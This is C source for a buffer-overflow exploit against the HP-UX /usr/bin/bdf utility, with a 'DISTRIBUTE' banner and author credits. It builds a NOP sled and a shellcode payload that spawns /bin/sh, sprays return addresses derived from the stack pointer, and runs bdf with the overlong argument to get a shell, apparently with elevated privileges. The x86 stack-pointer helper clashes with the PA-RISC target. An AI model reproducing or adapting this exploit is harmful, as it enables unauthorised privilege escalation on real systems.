/*

  !! DISTRIBUTE !! DISTRIBUTE !!

  [  www.interwn.nl  ]
     author: philer
   philer@iraqmail.com

  /usr/bin/bdf exploit - IWN-bdfx.c

*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 2420
#define STACK_OFFSET 0
#define EXTRA 600
#define IWN_NOP 0x3902800b


u_char IWN_shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff";


u_long get_sp(void)

{
   __asm__("movl %esp,%eax \n");
}

int main(int argc, char *argv[])

{

   char buf[BUF_LENGTH + 8];
   unsigned long targ_addr;
          u_long *long_p;
          u_char *char_p;

   int i, code_length = strlen(IWN_shellcode),dso=STACK_OFFSET,xtra=EXTRA;

   if(argc > 1) dso+=atoi(argv[1]);
   if(argc > 2) xtra+=atoi(argv[2]);
   long_p = (u_long *) buf;

   for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)

     *long_p++ = IWN_NOP;
     char_p = (u_char *) long_p;
     char_p--;

   for (i = 0; i < code_length; i++)
     *char_p++ = IWN_shellcode[i];

   targ_addr = get_sp() - dso;
   for (i = 0; i < xtra /4; i++)

   {
      *char_p++ =(targ_addr>>24)&255;
      *char_p++ =(targ_addr>>16)&255;
      *char_p++ =(targ_addr>>8)&255;
      *char_p++ =(targ_addr)&255;
   }

   printf("\n\n          [  www.interwn.nl  ]\n");
   printf("hp-ux-bdf.c - HP-UX /usr/bin/bdf exploit \n");
   printf("           author: philer \n\n\n");

   execl("/usr/bin/bdf","-t", buf,(char *) 0);
   perror("[x] execl failed..");
   return(-1);

}


/*  www.interwn.nl  */